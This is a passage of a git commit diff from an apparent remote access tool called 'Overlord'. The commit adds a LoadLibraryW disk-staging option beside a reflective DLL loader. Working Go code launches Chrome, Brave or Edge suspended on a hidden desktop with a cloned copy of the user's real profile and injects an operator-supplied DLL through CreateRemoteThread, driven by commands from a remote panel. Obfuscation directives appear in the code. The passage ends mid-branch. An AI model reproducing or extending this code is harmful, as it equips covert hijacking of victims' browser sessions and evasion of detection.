add option for on disk.
This commit is contained in:
@@ -4,11 +4,11 @@ package capture
|
|||||||
|
|
||||||
import "errors"
|
import "errors"
|
||||||
|
|
||||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) {
|
||||||
return 0, errors.New("backstage injection not supported on this platform")
|
return 0, errors.New("backstage injection not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|
||||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error {
|
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, method string) error {
|
||||||
return errors.New("backstage injection not supported on this platform")
|
return errors.New("backstage injection not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
|
|||||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||||
type LaunchStatusFunc func(step string, success bool, detail string)
|
type LaunchStatusFunc func(step string, success bool, detail string)
|
||||||
|
|
||||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, method string, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||||
return errors.New("backstage injection not supported on this platform")
|
return errors.New("backstage injection not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,9 @@
|
|||||||
package capture
|
package capture
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
|
"encoding/hex"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
@@ -47,6 +49,28 @@ type LaunchStatusFunc func(step string, success bool, detail string)
|
|||||||
|
|
||||||
var backstageDXGIStatusCallback atomic.Value
|
var backstageDXGIStatusCallback atomic.Value
|
||||||
|
|
||||||
|
// InjectionMethod selects how the backstage DLL is injected into the target
|
||||||
|
// process.
|
||||||
|
type InjectionMethod string
|
||||||
|
|
||||||
|
const (
|
||||||
|
// InjectionMethodReflective uses the reflective loader injected via
|
||||||
|
// CreateRemoteThread. The DLL never touches disk.
|
||||||
|
InjectionMethodReflective InjectionMethod = "reflective"
|
||||||
|
// InjectionMethodLoadLibrary stages the DLL to a temp file and injects it
|
||||||
|
// with CreateRemoteThread + LoadLibraryW.
|
||||||
|
InjectionMethodLoadLibrary InjectionMethod = "loadlibrary"
|
||||||
|
)
|
||||||
|
|
||||||
|
func normalizeInjectionMethod(method string) InjectionMethod {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(method)) {
|
||||||
|
case "loadlibrary", "loadlibraryw", "disk":
|
||||||
|
return InjectionMethodLoadLibrary
|
||||||
|
default:
|
||||||
|
return InjectionMethodReflective
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const (
|
const (
|
||||||
PROCESS_CREATE_THREAD = 0x0002
|
PROCESS_CREATE_THREAD = 0x0002
|
||||||
PROCESS_QUERY_INFORMATION = 0x0400
|
PROCESS_QUERY_INFORMATION = 0x0400
|
||||||
@@ -59,6 +83,7 @@ const (
|
|||||||
|
|
||||||
MEM_COMMIT = 0x1000
|
MEM_COMMIT = 0x1000
|
||||||
MEM_RESERVE = 0x2000
|
MEM_RESERVE = 0x2000
|
||||||
|
PAGE_READWRITE = 0x04
|
||||||
PAGE_EXECUTE_READWRITE = 0x40
|
PAGE_EXECUTE_READWRITE = 0x40
|
||||||
|
|
||||||
INFINITE_WAIT = 0xFFFFFFFF
|
INFINITE_WAIT = 0xFFFFFFFF
|
||||||
@@ -166,7 +191,8 @@ func enableDebugPrivilege() {
|
|||||||
// StartbackstageProcessInjected starts a process suspended on the backstage desktop,
|
// StartbackstageProcessInjected starts a process suspended on the backstage desktop,
|
||||||
// injects the reflective DLL, then resumes it.
|
// injects the reflective DLL, then resumes it.
|
||||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
// method selects the injection technique: "reflective" (default) or "loadlibrary".
|
||||||
|
func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) {
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return 0, fmt.Errorf("empty file path")
|
return 0, fmt.Errorf("empty file path")
|
||||||
}
|
}
|
||||||
@@ -181,6 +207,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath,
|
|||||||
searchPath: searchPath,
|
searchPath: searchPath,
|
||||||
replacePath: replacePath,
|
replacePath: replacePath,
|
||||||
display: display,
|
display: display,
|
||||||
|
method: method,
|
||||||
}, 30*time.Second)
|
}, 30*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, err
|
return 0, err
|
||||||
@@ -188,7 +215,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath,
|
|||||||
return result.pid, result.err
|
return result.pid, result.err
|
||||||
}
|
}
|
||||||
|
|
||||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, method string, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||||
if onDXGIStatus != nil {
|
if onDXGIStatus != nil {
|
||||||
backstageDXGIStatusCallback.Store(onDXGIStatus)
|
backstageDXGIStatusCallback.Store(onDXGIStatus)
|
||||||
}
|
}
|
||||||
@@ -235,7 +262,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
|
|||||||
|
|
||||||
if !clone {
|
if !clone {
|
||||||
notify("launch", true, "starting without profile cloning")
|
notify("launch", true, "starting without profile cloning")
|
||||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display)
|
pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display, method)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||||
return err
|
return err
|
||||||
@@ -296,7 +323,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
|
|||||||
}
|
}
|
||||||
|
|
||||||
notify("launch", true, "starting with cloned profile")
|
notify("launch", true, "starting with cloned profile")
|
||||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display)
|
pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display, method)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||||
return err
|
return err
|
||||||
@@ -319,8 +346,8 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
|
|||||||
}
|
}
|
||||||
|
|
||||||
// StartbackstageChromeInjected is kept for backward compatibility.
|
// StartbackstageChromeInjected is kept for backward compatibility.
|
||||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error {
|
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, method string) error {
|
||||||
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, nil, nil, nil)
|
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, method, nil, nil, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
type browserInfo struct {
|
type browserInfo struct {
|
||||||
@@ -1002,7 +1029,7 @@ func calcDirSize(dir string) int64 {
|
|||||||
return total
|
return total
|
||||||
}
|
}
|
||||||
|
|
||||||
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) {
|
||||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return 0, fmt.Errorf("empty file path")
|
return 0, fmt.Errorf("empty file path")
|
||||||
@@ -1029,19 +1056,20 @@ func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, sea
|
|||||||
}
|
}
|
||||||
log.Printf("backstage inject: created suspended process PID %d", pid)
|
log.Printf("backstage inject: created suspended process PID %d", pid)
|
||||||
|
|
||||||
// Inject the reflective DLL
|
// Inject the backstage DLL
|
||||||
if err := reflectiveInject(hProcess, dllBytes); err != nil {
|
injMethod := normalizeInjectionMethod(method)
|
||||||
|
if err := injectIntoProcess(hProcess, dllBytes, injMethod); err != nil {
|
||||||
procCloseHandle.Call(hProcess)
|
procCloseHandle.Call(hProcess)
|
||||||
procCloseHandle.Call(hThread)
|
procCloseHandle.Call(hThread)
|
||||||
terminateProcess(hProcess)
|
terminateProcess(hProcess)
|
||||||
procCloseHandle.Call(shmHandle)
|
procCloseHandle.Call(shmHandle)
|
||||||
return 0, fmt.Errorf("DLL injection failed: %v", err)
|
return 0, fmt.Errorf("DLL injection failed: %v", err)
|
||||||
}
|
}
|
||||||
log.Printf("backstage inject: DLL injected into PID %d", pid)
|
log.Printf("backstage inject: DLL injected into PID %d (method=%s)", pid, injMethod)
|
||||||
|
|
||||||
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
|
// The DLL's InstallNtApiHooks has run (injectIntoProcess waits for the
|
||||||
// loader thread). The DLL opened the shared section, so we can release
|
// injector thread to finish, so DllMain already opened the shared section).
|
||||||
// our handle now.
|
// We can release our handle now.
|
||||||
procCloseHandle.Call(shmHandle)
|
procCloseHandle.Call(shmHandle)
|
||||||
|
|
||||||
procCloseHandle.Call(hProcess)
|
procCloseHandle.Call(hProcess)
|
||||||
@@ -1419,6 +1447,128 @@ func isRDIEnvironmentEntry(entry string) bool {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func injectIntoProcess(hProcess uintptr, dllBytes []byte, method InjectionMethod) error {
|
||||||
|
switch method {
|
||||||
|
case InjectionMethodLoadLibrary:
|
||||||
|
dllPath, err := stageInjectionDLL(dllBytes)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to stage DLL for LoadLibrary: %v", err)
|
||||||
|
}
|
||||||
|
log.Printf("backstage inject: using LoadLibrary injection from %s", dllPath)
|
||||||
|
if err := loadLibraryInject(hProcess, dllPath); err != nil {
|
||||||
|
_ = os.Remove(dllPath)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
// The DLL is fully resident in the target and self-injects into child
|
||||||
|
// processes from the shared section, so the staged file is no longer
|
||||||
|
// needed.
|
||||||
|
_ = os.Remove(dllPath)
|
||||||
|
return nil
|
||||||
|
default:
|
||||||
|
return reflectiveInject(hProcess, dllBytes)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// stageInjectionDLL writes the DLL bytes to a temp file so it can be loaded
|
||||||
|
// with LoadLibraryW. The file name is content-addressed so repeat injections
|
||||||
|
// reuse an existing file.
|
||||||
|
func stageInjectionDLL(dllBytes []byte) (string, error) {
|
||||||
|
sum := sha256.Sum256(dllBytes)
|
||||||
|
hash := hex.EncodeToString(sum[:])
|
||||||
|
dir := filepath.Join(os.TempDir(), "Overlord", "backstage")
|
||||||
|
if err := os.MkdirAll(dir, 0700); err != nil {
|
||||||
|
return "", fmt.Errorf("create staging dir: %w", err)
|
||||||
|
}
|
||||||
|
target := filepath.Join(dir, "BackstageInjection-"+hash+".x64.dll")
|
||||||
|
if st, err := os.Stat(target); err == nil && st.Size() == int64(len(dllBytes)) {
|
||||||
|
return target, nil
|
||||||
|
}
|
||||||
|
tmp := target + ".tmp"
|
||||||
|
if err := os.WriteFile(tmp, dllBytes, 0600); err != nil {
|
||||||
|
return "", fmt.Errorf("write staging file: %w", err)
|
||||||
|
}
|
||||||
|
if err := os.Rename(tmp, target); err != nil {
|
||||||
|
_ = os.Remove(tmp)
|
||||||
|
if st, statErr := os.Stat(target); statErr == nil && st.Size() == int64(len(dllBytes)) {
|
||||||
|
return target, nil
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("finalize staging file: %w", err)
|
||||||
|
}
|
||||||
|
return target, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// loadLibraryInject uses the classic LoadLibraryW injection: it writes the
|
||||||
|
// DLL path into the target process and runs LoadLibraryW there via
|
||||||
|
// CreateRemoteThread. kernel32 is mapped at the same base across processes on
|
||||||
|
// the same boot, so the local LoadLibraryW address is used for the remote
|
||||||
|
// thread start routine.
|
||||||
|
func loadLibraryInject(hProcess uintptr, dllPath string) error {
|
||||||
|
loadLibAddr := kernel32.NewProc("LoadLibraryW").Addr()
|
||||||
|
if loadLibAddr == 0 {
|
||||||
|
return fmt.Errorf("resolving LoadLibraryW failed")
|
||||||
|
}
|
||||||
|
log.Printf("backstage inject: LoadLibraryW at 0x%x", loadLibAddr)
|
||||||
|
|
||||||
|
pathBytes, err := syscall.UTF16FromString(dllPath)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("UTF16FromString(%q): %v", dllPath, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
remotePath, _, _ := procVirtualAllocEx.Call(
|
||||||
|
hProcess,
|
||||||
|
0,
|
||||||
|
uintptr(len(pathBytes)*2),
|
||||||
|
MEM_RESERVE|MEM_COMMIT,
|
||||||
|
PAGE_READWRITE,
|
||||||
|
)
|
||||||
|
if remotePath == 0 {
|
||||||
|
return fmt.Errorf("VirtualAllocEx failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
var bytesWritten uintptr
|
||||||
|
ret, _, _ := procWriteProcessMemory.Call(
|
||||||
|
hProcess,
|
||||||
|
remotePath,
|
||||||
|
uintptr(unsafe.Pointer(&pathBytes[0])),
|
||||||
|
uintptr(len(pathBytes)*2),
|
||||||
|
uintptr(unsafe.Pointer(&bytesWritten)),
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("WriteProcessMemory failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
var threadID uintptr
|
||||||
|
hThread, _, _ := procCreateRemoteThread.Call(
|
||||||
|
hProcess,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
loadLibAddr,
|
||||||
|
remotePath,
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(&threadID)),
|
||||||
|
)
|
||||||
|
if hThread == 0 {
|
||||||
|
return fmt.Errorf("CreateRemoteThread failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
waitRet, _, waitErr := procWaitForSingleObject.Call(hThread, 30000)
|
||||||
|
var exitCode uint32
|
||||||
|
if ret, _, callErr := procGetExitCodeThread.Call(hThread, uintptr(unsafe.Pointer(&exitCode))); ret != 0 {
|
||||||
|
log.Printf("backstage inject: remote LoadLibrary thread finished wait=0x%x module=0x%x", waitRet, exitCode)
|
||||||
|
} else {
|
||||||
|
log.Printf("backstage inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr)
|
||||||
|
}
|
||||||
|
procCloseHandle.Call(hThread)
|
||||||
|
|
||||||
|
if waitRet == 0xFFFFFFFF {
|
||||||
|
return fmt.Errorf("remote LoadLibrary thread wait failed: %v", waitErr)
|
||||||
|
}
|
||||||
|
if exitCode == 0 {
|
||||||
|
return fmt.Errorf("LoadLibraryW failed in remote process")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
|
func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
|
||||||
loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
|
loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -236,6 +236,7 @@ type backstageTask struct {
|
|||||||
dllBytes []byte
|
dllBytes []byte
|
||||||
searchPath string
|
searchPath string
|
||||||
replacePath string
|
replacePath string
|
||||||
|
method string
|
||||||
queuedAt time.Time
|
queuedAt time.Time
|
||||||
resp chan backstageTaskResult
|
resp chan backstageTaskResult
|
||||||
}
|
}
|
||||||
@@ -561,7 +562,7 @@ func ensurebackstageThread() error {
|
|||||||
case backstageTaskStartProcess:
|
case backstageTaskStartProcess:
|
||||||
result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display)
|
result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display)
|
||||||
case backstageTaskStartProcessInjected:
|
case backstageTaskStartProcessInjected:
|
||||||
result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display)
|
result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display, task.method)
|
||||||
case backstageTaskMouseMove:
|
case backstageTaskMouseMove:
|
||||||
result.err = backstageMouseMoveOnThread(task.display, task.x, task.y)
|
result.err = backstageMouseMoveOnThread(task.display, task.x, task.y)
|
||||||
case backstageTaskMouseDown:
|
case backstageTaskMouseDown:
|
||||||
@@ -848,7 +849,7 @@ func backstageTaskDetails(task backstageTask) string {
|
|||||||
case backstageTaskStartProcess:
|
case backstageTaskStartProcess:
|
||||||
return fmt.Sprintf("cmd=%q", task.filePath)
|
return fmt.Sprintf("cmd=%q", task.filePath)
|
||||||
case backstageTaskStartProcessInjected:
|
case backstageTaskStartProcessInjected:
|
||||||
return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes))
|
return fmt.Sprintf("cmd=%q search=%q replace=%q method=%s dllSize=%d", task.filePath, task.searchPath, task.replacePath, task.method, len(task.dllBytes))
|
||||||
default:
|
default:
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2013,6 +2013,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
searchPath := ""
|
searchPath := ""
|
||||||
replacePath := ""
|
replacePath := ""
|
||||||
display := 0
|
display := 0
|
||||||
|
injectionMethod := ""
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["path"].(string); ok {
|
if v, ok := payload["path"].(string); ok {
|
||||||
filePath = v
|
filePath = v
|
||||||
@@ -2026,16 +2027,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
if v, ok := payload["display"].(float64); ok {
|
if v, ok := payload["display"].(float64); ok {
|
||||||
display = int(v)
|
display = int(v)
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["injectionMethod"].(string); ok {
|
||||||
|
injectionMethod = v
|
||||||
|
}
|
||||||
}
|
}
|
||||||
dllBytes := extractDLLBytes(payload)
|
dllBytes := extractDLLBytes(payload)
|
||||||
if len(dllBytes) == 0 {
|
if len(dllBytes) == 0 {
|
||||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes))
|
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d method=%q dllSize=%d", filePath, searchPath, replacePath, display, injectionMethod, len(dllBytes))
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("backstage_start_process_injected", nil, func() {
|
goSafe("backstage_start_process_injected", nil, func() {
|
||||||
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display); err != nil {
|
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display, injectionMethod); err != nil {
|
||||||
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
|
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -2044,20 +2048,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
case "backstage_start_chrome_injected":
|
case "backstage_start_chrome_injected":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
chromePath := ""
|
chromePath := ""
|
||||||
|
injectionMethod := ""
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["path"].(string); ok {
|
if v, ok := payload["path"].(string); ok {
|
||||||
chromePath = v
|
chromePath = v
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["injectionMethod"].(string); ok {
|
||||||
|
injectionMethod = v
|
||||||
|
}
|
||||||
}
|
}
|
||||||
dllBytes := extractDLLBytes(payload)
|
dllBytes := extractDLLBytes(payload)
|
||||||
if len(dllBytes) == 0 {
|
if len(dllBytes) == 0 {
|
||||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
log.Printf("backstage: start chrome injected path=%q method=%q dllSize=%d", chromePath, injectionMethod, len(dllBytes))
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("backstage_start_chrome_injected", nil, func() {
|
goSafe("backstage_start_chrome_injected", nil, func() {
|
||||||
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes); err != nil {
|
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, injectionMethod); err != nil {
|
||||||
log.Printf("backstage: chrome injected failed: %v", err)
|
log.Printf("backstage: chrome injected failed: %v", err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -2071,6 +2079,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
cloneLite := false
|
cloneLite := false
|
||||||
killIfRunning := false
|
killIfRunning := false
|
||||||
display := 0
|
display := 0
|
||||||
|
injectionMethod := ""
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["browser"].(string); ok {
|
if v, ok := payload["browser"].(string); ok {
|
||||||
browser = v
|
browser = v
|
||||||
@@ -2090,6 +2099,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
if v, ok := payload["display"].(float64); ok {
|
if v, ok := payload["display"].(float64); ok {
|
||||||
display = int(v)
|
display = int(v)
|
||||||
}
|
}
|
||||||
|
if v, ok := payload["injectionMethod"].(string); ok {
|
||||||
|
injectionMethod = v
|
||||||
|
}
|
||||||
}
|
}
|
||||||
dllBytes := extractDLLBytes(payload)
|
dllBytes := extractDLLBytes(payload)
|
||||||
if len(dllBytes) == 0 {
|
if len(dllBytes) == 0 {
|
||||||
@@ -2100,7 +2112,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
|
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d method=%q dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, injectionMethod, len(dllBytes))
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
goSafe("backstage_start_browser_injected", nil, func() {
|
goSafe("backstage_start_browser_injected", nil, func() {
|
||||||
var onProgress capture.CloneProgressFunc
|
var onProgress capture.CloneProgressFunc
|
||||||
@@ -2137,7 +2149,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
Detail: detail,
|
Detail: detail,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, injectionMethod, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||||
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
|
log.Printf("backstage: browser injected failed for %q: %v", browser, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -202,6 +202,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
|
|||||||
if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
|
if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
|
||||||
killIfRunningToggle.checked = settings.killIfRunning;
|
killIfRunningToggle.checked = settings.killIfRunning;
|
||||||
}
|
}
|
||||||
|
const injectionMethodSelect = document.getElementById("backstageInjectionMethod");
|
||||||
|
if (injectionMethodSelect && typeof settings.injectionMethod === "string") {
|
||||||
|
const allowed = ["reflective", "loadlibrary"];
|
||||||
|
if (allowed.includes(settings.injectionMethod)) {
|
||||||
|
setSelectValue(injectionMethodSelect, settings.injectionMethod);
|
||||||
|
}
|
||||||
|
}
|
||||||
applySavedDisplay();
|
applySavedDisplay();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -222,9 +229,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
|
|||||||
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
|
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
|
||||||
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
|
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
|
||||||
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
|
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
|
||||||
|
injectionMethod: readInjectionMethod(),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function readInjectionMethod() {
|
||||||
|
return document.getElementById("backstageInjectionMethod")?.value || "reflective";
|
||||||
|
}
|
||||||
|
|
||||||
applySharedSettings(await loadSharedUiSettings("backstage"));
|
applySharedSettings(await loadSharedUiSettings("backstage"));
|
||||||
// Interactive input is intentionally session-scoped: opening any client's
|
// Interactive input is intentionally session-scoped: opening any client's
|
||||||
// page must require the operator to opt in again, regardless of saved UI
|
// page must require the operator to opt in again, regardless of saved UI
|
||||||
@@ -1830,7 +1842,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle"].forEach((id) => {
|
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle", "backstageInjectionMethod"].forEach((id) => {
|
||||||
const el = document.getElementById(id);
|
const el = document.getElementById(id);
|
||||||
if (el) {
|
if (el) {
|
||||||
el.addEventListener("change", function () {
|
el.addEventListener("change", function () {
|
||||||
@@ -1851,52 +1863,52 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
|
|||||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-brave") {
|
} else if (action === "start-brave") {
|
||||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-edge") {
|
} else if (action === "start-edge") {
|
||||||
